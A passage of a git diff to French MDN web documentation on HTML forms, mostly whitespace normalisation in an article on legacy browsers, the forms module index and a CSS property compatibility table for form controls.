des formulaires soient « plus beaux » ou « avec des fonctionnalités avancées » ! Mais construire des formulaires HTML efficaces n'est pas une question de design ou de technique. Pour rappel, prenez le temps de lire cet article sur l'[ergonomie des formulaires sur UX For The Masses](http://www.uxforthemasses.com/forms-usability/) (en anglais). ### La simplification élégante est la meilleure amie du développeur Web @@ -49,8 +49,8 @@ Les nouveaux types d'entrées amenés par HTML5 sont très sympas car la façon ```html <label for="myColor"> - Choisir une couleur - <input type="color" id="myColor" name="color"> + Choisir une couleur + <input type="color" id="myColor" name="color"> </label> ``` @@ -81,7 +81,7 @@ Les nouveaux types d'entrées amenés par HTML5 sont très sympas car la façon #### Sélecteurs d'attributs CSS -Les [sélecteurs d'attributs CSS](/fr/docs/Web/CSS/Sélecteurs_d_attribut "/en-US/docs/CSS/Attribute_selectors") sont très utiles avec les [formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires), mais certains navigateurs historiques ne les prennent pas en charge. Dans ce cas, il est courant de doubler le type avec une classe équivalente : +Les [sélecteurs d'attributs CSS](/fr/docs/Web/CSS/Sélecteurs_d_attribut "/en-US/docs/CSS/Attribute_selectors") sont très utiles avec les [formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires), mais certains navigateurs historiques ne les prennent pas en charge. Dans ce cas, il est courant de doubler le type avec une classe équivalente : ```html <input type="number" class="number"> @@ -97,7 +97,7 @@ input.number { } ``` -Notez que ce qui suit n'est pas utile (car redondant) et peut échouer dans certains navigateurs : +Notez que ce qui suit n'est pas utile (car redondant) et peut échouer dans certains navigateurs : ```css input[type=number], @@ -109,12 +109,12 @@ input.number { #### Boutons et formulaires -Il y a deux manières de définir un bouton dans un formulaire HTML : +Il y a deux manières de définir un bouton dans un formulaire HTML : - un élément {{HTMLElement("input")}} avec un attribut {htmlattrxref("type","input")}} défini avec une des valeurs `button`, `submit`, `reset` ou `image` - un élément {{HTMLElement("button")}} -L'élément {{HTMLElement("input")}} peut rendre les choses compliquées si vous voulez appliquer des CSS avec un sélecteur d'élément : +L'élément {{HTMLElement("input")}} peut rendre les choses compliquées si vous voulez appliquer des CSS avec un sélecteur d'élément : ```html <input type="button" class="button" value="Cliquez‑moi"> @@ -132,19 +132,19 @@ input.button { } input.button { - /* Avec ceci non plus ! En fait, il n'y a pas de méthode standard pour + /* Avec ceci non plus ! En fait, il n'y a pas de méthode standard pour le faire quel que soit le navigateur */ border: auto; } ``` -L'élément {{HTMLElement("button")}} présente deux problèmes potentiels : +L'élément {{HTMLElement("button")}} présente deux problèmes potentiels : - un bogue dans certaines anciennes versions d'Internet Explorer. Lorsque l'utilisateur clique sur le bouton, ce n'est pas le contenu de l'attribut {{htmlattrxref("value", "button")}} qui est envoyé, mais le contenu HTML disponible entre balises de début et de fin de l'élément {{HTMLElement("button")}}. Ce n'est un problème que si vous voulez envoyer une telle valeur, par exemple si le traitement des données dépend du bouton sur lequel l'utilisateur clique. -- certains navigateurs très anciens n'utilisent pas `submit` comme valeur par défaut pour l'attribut {{htmlattrxref("type","button")}}, donc il est recommandé de toujours définir l'attribut {{htmlattrxref("type","button")}} pour les éléments {{HTMLElement("button")}}. +- certains navigateurs très anciens n'utilisent pas `submit` comme valeur par défaut pour l'attribut {{htmlattrxref("type","button")}}, donc il est recommandé de toujours définir l'attribut {{htmlattrxref("type","button")}} pour les éléments {{HTMLElement("button")}}. ```html -<!-- Cliquer sur ce boutton envoie « <em>Do A</em> » au lieu de « A » dans certains cas --> +<!-- Cliquer sur ce boutton envoie « <em>Do A</em> » au lieu de « A » dans certains cas --> <button type="submit" name="IWantTo" value="A"> <em>Do A</em> </button> @@ -162,7 +162,7 @@ Bien que JavaScript soit un langage de programmation remarquable pour les naviga ### JavaScript non obstructif -Un des plus gros problèmes est la disponibilité des API. Pour cette raison, il est considéré comme de bonne pratique de travailler avec du JavaScript « non obstructif ». C'est un modèle de développement défini par deux obligations : +Un des plus gros problèmes est la disponibilité des API. Pour cette raison, il est considéré comme de bonne pratique de travailler avec du JavaScript « non obstructif ». C'est un modèle de développement défini par deux obligations : - une séparation stricte entre structure et comportement. - si le fil du code casse, le contenu et les fonctionnalités de base doivent rester accessibles et utilisables. @@ -171,11 +171,11 @@ Un des plus gros problèmes est la disponibilité des API. Pour cette raison, il ### La bibliothèque Modernizr -Dans de nombreux cas, une bonne prothèse d'émulation (« polyfill ») peut aider en fournissant une API manquante. Un « [polyfill »](http://remysharp.com/2010/10/08/what-is-a-polyfill/) est un petit morceau de JavaScript qui « remplit un trou » dans les fonctionnalités des navigateurs historiques. Bien qu'ils puissent être utilisés pour améliorer la prise en charge de n'importe quelle fonctionnalité, leur utilisation dans le JavaScript est moins risquée que dans les CSS ou le HTML ; il existe de nombreux cas où JavaScript peut casser (problèmes de réseau, conflits de script, etc.). Mais avec le JavaScript, à condition de travailler avec un JavaScript non obstructif, si les polyfills manquent, ce ne sera pas grave. +Dans de nombreux cas, une bonne prothèse d'émulation (« polyfill ») peut aider en fournissant une API manquante. Un « [polyfill »](http://remysharp.com/2010/10/08/what-is-a-polyfill/) est un petit morceau de JavaScript qui « remplit un trou » dans les fonctionnalités des navigateurs historiques. Bien qu'ils puissent être utilisés pour améliorer la prise en charge de n'importe quelle fonctionnalité, leur utilisation dans le JavaScript est moins risquée que dans les CSS ou le HTML ; il existe de nombreux cas où JavaScript peut casser (problèmes de réseau, conflits de script, etc.). Mais avec le JavaScript, à condition de travailler avec un JavaScript non obstructif, si les polyfills manquent, ce ne sera pas grave. -La meilleure façon de remplir un trou d'API manquante consiste à utiliser la bibliothèque [Modernizr](http://modernizr.com) et son projet dérivé : [YepNope](http://yepnopejs.com). Modernizr est une bibliothèque qui vous permet de tester la disponibilité d'une fonctionnalité pour une action en accord. YepNope est une bibliothèqe de chargements conditionnels. +La meilleure façon de remplir un trou d'API manquante consiste à utiliser la bibliothèque [Modernizr](http://modernizr.com) et son projet dérivé : [YepNope](http://yepnopejs.com). Modernizr est une bibliothèque qui vous permet de tester la disponibilité d'une fonctionnalité pour une action en accord. YepNope est une bibliothèqe de chargements conditionnels. -Voici un exemple : +Voici un exemple : ```js Modernizr.load({ @@ -198,17 +198,17 @@ Modernizr.load({ }); ``` -L'équipe de Modernizr fait une maintenance opportune de grande liste de « [polyfills »](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills). Prenez celui dont vous avez besoin. +L'équipe de Modernizr fait une maintenance opportune de grande liste de « [polyfills »](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills). Prenez celui dont vous avez besoin. -> **Note :** Modernizr a d'autres fonctionnalités remarquables pour faciliter le traitement du JavaScript non obstructif et les tecniques de simplifications élégantes. Prenez connaissance de [la documentation de Modernizr](http://modernizr.com/docs/). +> **Note :** Modernizr a d'autres fonctionnalités remarquables pour faciliter le traitement du JavaScript non obstructif et les tecniques de simplifications élégantes. Prenez connaissance de [la documentation de Modernizr](http://modernizr.com/docs/). ### Faites attention aux performances -Même si des scripts comme Modernizr sont très attentifs aux performances, le chargement d'un polyfill de 200 kilooctets peut affecter les performances de votre application. Ceci est particulièrement critique avec les navigateurs historiques ; beaucoup d'entre eux ont un moteur JavaScript très lent qui peut rendre l'exécution de tous vos polyfills pénibles pour l'utilisateur. La performance est un sujet en soi ; les navigateurs historiques y sont très sensibles : fondamentalement, ils sont lents et ils ont plus besoin de polyfills, et donc ils ont besoin de traiter encore plus de JavaScript. Ils sont donc doublement surchargés par rapport aux navigateurs modernes. Testez votre code avec les navigateurs historiques pour voir comment leur fonctionnement en conditions réelles. Parfois, l'abandon de certaines fonctionnalités amène un meilleur ressenti pour l'utilisateur que d'avoir exactement la même fonctionnalité dans tous les navigateurs. Dernier rappel : pensez toujours à l'utilisateur final. +Même si des scripts comme Modernizr sont très attentifs aux performances, le chargement d'un polyfill de 200 kilooctets peut affecter les performances de votre application. Ceci est particulièrement critique avec les navigateurs historiques ; beaucoup d'entre eux ont un moteur JavaScript très lent qui peut rendre l'exécution de tous vos polyfills pénibles pour l'utilisateur. La performance est un sujet en soi ; les navigateurs historiques y sont très sensibles : fondamentalement, ils sont lents et ils ont plus besoin de polyfills, et donc ils ont besoin de traiter encore plus de JavaScript. Ils sont donc doublement surchargés par rapport aux navigateurs modernes. Testez votre code avec les navigateurs historiques pour voir comment leur fonctionnement en conditions réelles. Parfois, l'abandon de certaines fonctionnalités amène un meilleur ressenti pour l'utilisateur que d'avoir exactement la même fonctionnalité dans tous les navigateurs. Dernier rappel : pensez toujours à l'utilisateur final. ## Conclusion -Comme vous pouvez le constater, opérer avec des navigateurs historiques n'est pas qu'une question de formulaires. C'est tout un ensemble de techniques ; mais les maîtriser toutes dépasserait le cadre de cet article. +Comme vous pouvez le constater, opérer avec des navigateurs historiques n'est pas qu'une question de formulaires. C'est tout un ensemble de techniques ; mais les maîtriser toutes dépasserait le cadre de cet article. Si vous avez lu tous les articles de ce [guide à propos des formulaires en HTML](/fr/docs/Web/Guide/HTML/Forms_in_HTML), vous devriez maintenant être à l'aise avec leur utilisation. Si vous trouvez de nouvelles techniques ou de nouvelles astuces, aidez‑nous à [améliorer ce guide](/fr/docs/MDN/Débuter_sur_MDN). diff --git a/files/fr/learn/forms/index.md b/files/fr/learn/forms/index.md index 9f5717dd41..1a5b8a4534 100644 --- a/files/fr/learn/forms/index.md +++ b/files/fr/learn/forms/index.md @@ -17,7 +17,7 @@ Ce guide est constitué d'une série d'articles qui vous aideront à maîtriser ## Prérequis -Avant de vous lancer dans ce module, vous devez au moins avoir travaillé notre [Introduction au HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML). À partir de là, vous devriez trouver les {{anch("Éléments de base")}} faciles à comprendre et également être capable de vous servir du guide pour les [widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs). +Avant de vous lancer dans ce module, vous devez au moins avoir travaillé notre [Introduction au HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML). À partir de là, vous devriez trouver les {{anch("Éléments de base")}} faciles à comprendre et également être capable de vous servir du guide pour les [widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs). Le reste du module est toutefois un peu plus difficile — il est facile de placer des widgets de formulaire dans une page, mais vous ne pourrez pas en faire vraiment quelque chose sans utiliser quelques fonctionnalités plus avancées, les CSS et le JavaScript. C'est pourquoi, avant de regarder ces autres parties, nous vous recommandons de faire un détour et de procéder d'abord à l'étude des [CSS](/fr/Apprendre/CSS/Introduction_à_CSS) et du [JavaScript](/fr/docs/Apprendre/JavaScript). @@ -30,7 +30,7 @@ Le reste du module est toutefois un peu plus difficile — il est facile de plac - [Comment structurer un formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML "/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML") - : Les bases vues, nous examinons maintenant plus en détail les éléments utilisés pour structurer et donner un sens aux différentes parties d'un formulaire. -## Quels sont les widgets pour formulaire disponibles ? +## Quels sont les widgets pour formulaire disponibles ? - [Les widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs) - : Nous examinons maintenant en détail les fonctionnalités des widgets pour formulaire, en regardant quelles sont les options disponibles pour collecter différentes types de données. @@ -38,16 +38,16 @@ Le reste du module est toutefois un peu plus difficile — il est facile de plac ## Validation et soumission des données de formulaires - [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires) - - : Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire. + - : Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire. - [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires) - - : Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont de format correct pour pouvoir les traiter correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser nos applications. La validation et la soumission des données des formulaires vous aidera à remplir ces objectifs — cet article indique ce qui est nécessaire de savoir. + - : Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont de format correct pour pouvoir les traiter correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser nos applications. La validation et la soumission des données des formulaires vous aidera à remplir ces objectifs — cet article indique ce qui est nécessaire de savoir. ## Guides avancés - [Comment construire des widgets de formulaires personnalisés](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) - : Nous allons voir quelques cas où les widgets natifs ne donnent pas ce dont vous avez besoin, pour des raisons fonctionnelles ou de style par exemple. Dans de tels cas, vous pouvez avoir besoin de construire vous même un widget de formulaire en dehors du HTML brut. Cet article explique comment faire, ainsi que les considérations à prendre en compte ce faisant, le tout à l'aide de l'étude d'un cas particulier. - [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript) - - : Cet article examine les manières d'utiliser un formulaire pour assembler une requête HTTP et l'adresser par l'intermédiaire d'un JavaScript personnalisé, au lieu d'une soumission standard de formulaire. Il examine aussi pourquoi vous pouvez souhaiter faire ainsi et ce que cela implique corrélativement. (Voir aussi « Utilisation des objets FormData ».) + - : Cet article examine les manières d'utiliser un formulaire pour assembler une requête HTTP et l'adresser par l'intermédiaire d'un JavaScript personnalisé, au lieu d'une soumission standard de formulaire. Il examine aussi pourquoi vous pouvez souhaiter faire ainsi et ce que cela implique corrélativement. (Voir aussi « Utilisation des objets FormData ».) - [Formulaires HTML dans les navigateurs anciens](/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers) - : Cet article couvre les détections de fonctionnalité, etc. Elles doivent être redirigées dans le module de tests croisés entre navigateurs, car la même problématique y sera mieux traitée. diff --git a/files/fr/learn/forms/property_compatibility_table_for_form_controls/index.md b/files/fr/learn/forms/property_compatibility_table_for_form_controls/index.md index 4834f1872d..942766ea2e 100644 --- a/files/fr/learn/forms/property_compatibility_table_for_form_controls/index.md +++ b/files/fr/learn/forms/property_compatibility_table_for_form_controls/index.md @@ -21,7 +21,7 @@ Les tables de compatibilité suivantes tentent de résumer l'état de la prise e ### Valeurs -Pour chaque propriété, il y a quatre valeurs possibles : +Pour chaque propriété, il y a quatre valeurs possibles : - OUI - : La prise en charge de la propriété est raisonnablement cohérente d'un navigateur à l'autre. Il se peut que vous soyez encore confronté à des effets collatéraux étranges dans certains cas limites. @@ -34,7 +34,7 @@ Pour chaque propriété, il y a quatre valeurs possibles : ### Rendu -Pour chaque propriété il y a deux rendus possibles : +Pour chaque propriété il y a deux rendus possibles : - N (Normal) - : Indique que la propriété est appliquée telle quelle. @@ -91,7 +91,7 @@ Certains comportements sont communs à de nombreux navigateurs au niveau global <th scope="row">{{cssxref("width")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("height")}}</th> @@ -137,7 +137,7 @@ Certains comportements sont communs à de nombreux navigateurs au niveau global <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> @@ -189,13 +189,13 @@ Certains comportements sont communs à de nombreux navigateurs au niveau global <th scope="row">{{cssxref("letter-spacing")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-align")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-decoration")}}</th> @@ -221,19 +221,19 @@ Certains comportements sont communs à de nombreux navigateurs au niveau global <th scope="row">{{cssxref("text-overflow")}}</th> <td>Partiel</td> <td>Partiel</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td>Partiel</td> <td>Partiel</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -314,7 +314,7 @@ Certains comportements sont communs à de nombreux navigateurs au niveau global <th scope="row">{{cssxref("width")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("height")}}</th> @@ -333,13 +333,13 @@ Certains comportements sont communs à de nombreux navigateurs au niveau global <th scope="row">{{cssxref("border")}}</th> <td>Partiel</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> @@ -363,7 +363,7 @@ Certains comportements sont communs à de nombreux navigateurs au niveau global <th scope="row">{{cssxref("color")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("font")}}</th> @@ -375,43 +375,43 @@ Certains comportements sont communs à de nombreux navigateurs au niveau global <th scope="row">{{cssxref("letter-spacing")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-align")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-decoration")}}</th> <td>Partiel</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-indent")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-overflow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td>Partiel</td> <td>Partiel</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -422,7 +422,7 @@ Certains comportements sont communs à de nombreux navigateurs au niveau global <th scope="row">{{cssxref("background")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border-radius")}}</th> @@ -471,7 +471,7 @@ Sur les navigateurs qui implémentent le widget `number`, il n'y a pas de métho <th scope="row">{{cssxref("width")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("height")}}</th> @@ -490,13 +490,13 @@ Sur les navigateurs qui implémentent le widget `number`, il n'y a pas de métho <th scope="row">{{cssxref("border")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> @@ -520,7 +520,7 @@ Sur les navigateurs qui implémentent le widget `number`, il n'y a pas de métho <th scope="row">{{cssxref("color")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("font")}}</th> @@ -532,43 +532,43 @@ Sur les navigateurs qui implémentent le widget `number`, il n'y a pas de métho <th scope="row">{{cssxref("letter-spacing")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-align")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-decoration")}}</th> <td>Partiel</td> <td>Partiel</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-indent")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-overflow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td>Partiel</td> <td>Partiel</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -644,19 +644,19 @@ Sur les navigateurs qui implémentent le widget `number`, il n'y a pas de métho <th scope="row">{{cssxref("border")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -667,55 +667,55 @@ Sur les navigateurs qui implémentent le widget `number`, il n'y a pas de métho <th scope="row">{{cssxref("color")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("font")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("letter-spacing")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-align")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-decoration")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-indent")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-overflow")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -726,19 +726,19 @@ Sur les navigateurs qui implémentent le widget `number`, il n'y a pas de métho <th scope="row">{{cssxref("background")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border-radius")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("box-shadow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> </tbody> </table> @@ -779,19 +779,19 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("height")}}</th> <td>Non</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border")}}</th> <td>Partiel</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> @@ -858,7 +858,7 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <li> IE9 ne prend pas en charge cette propriété sur les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, - et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur + et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur WebKit sur Mac OSX ne prennent pas en charge cette propriété sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}. @@ -888,7 +888,7 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <li> Seul Firefox fournit une prise en charge totale de cette propriété. Opera ne la prend pas du tout en charge et d'autres navigateur ne le - font que pour l'élément {{HTMLElement("select")}}. + font que pour l'élément {{HTMLElement("select")}}. </li> </ol> </td> @@ -911,7 +911,7 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("text-overflow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> @@ -990,25 +990,25 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("width")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("height")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> @@ -1033,7 +1033,7 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("color")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("font")}}</th> @@ -1085,19 +1085,19 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("text-indent")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-overflow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> @@ -1121,7 +1121,7 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("background")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border-radius")}}</th> @@ -1168,31 +1168,31 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("width")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("height")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -1203,55 +1203,55 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("color")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("font")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("letter-spacing")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-align")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-decoration")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-indent")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-overflow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -1262,19 +1262,19 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("background")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border-radius")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("box-shadow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> </tbody> </table> @@ -1298,31 +1298,31 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("width")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("height")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -1333,7 +1333,7 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("color")}}</th> 